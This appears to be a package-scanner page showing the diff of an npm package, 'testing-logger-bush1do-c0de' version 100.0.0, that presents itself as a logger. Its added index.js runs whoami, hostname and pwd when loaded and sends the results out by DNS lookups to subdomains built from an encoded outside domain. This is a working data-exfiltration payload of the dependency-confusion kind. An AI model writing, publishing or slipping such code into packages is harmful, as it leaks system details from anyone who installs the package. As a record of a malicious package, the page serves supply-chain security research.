testing-logger-bush1do-c0de 100.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +23 -0
- package/package.json +9 -0
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const dns = require('dns');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
function exfiltrateData(data) {
|
5
|
+
const subdomain = `${data}.${Buffer.from('noreply.access.ly').toString('base64')}`;
|
6
|
+
dns.resolve4(subdomain, (err, addresses) => {
|
7
|
+
if (err) console.error(err);
|
8
|
+
else console.log(`Data exfiltrated: ${addresses}`);
|
9
|
+
});
|
10
|
+
}
|
11
|
+
|
12
|
+
// Run commands and send output
|
13
|
+
exec('whoami', (error, stdout) => {
|
14
|
+
if (stdout) exfiltrateData(stdout.trim());
|
15
|
+
});
|
16
|
+
|
17
|
+
exec('hostname', (error, stdout) => {
|
18
|
+
if (stdout) exfiltrateData(stdout.trim());
|
19
|
+
});
|
20
|
+
|
21
|
+
exec('pwd', (error, stdout) => {
|
22
|
+
if (stdout) exfiltrateData(stdout.trim());
|
23
|
+
});
|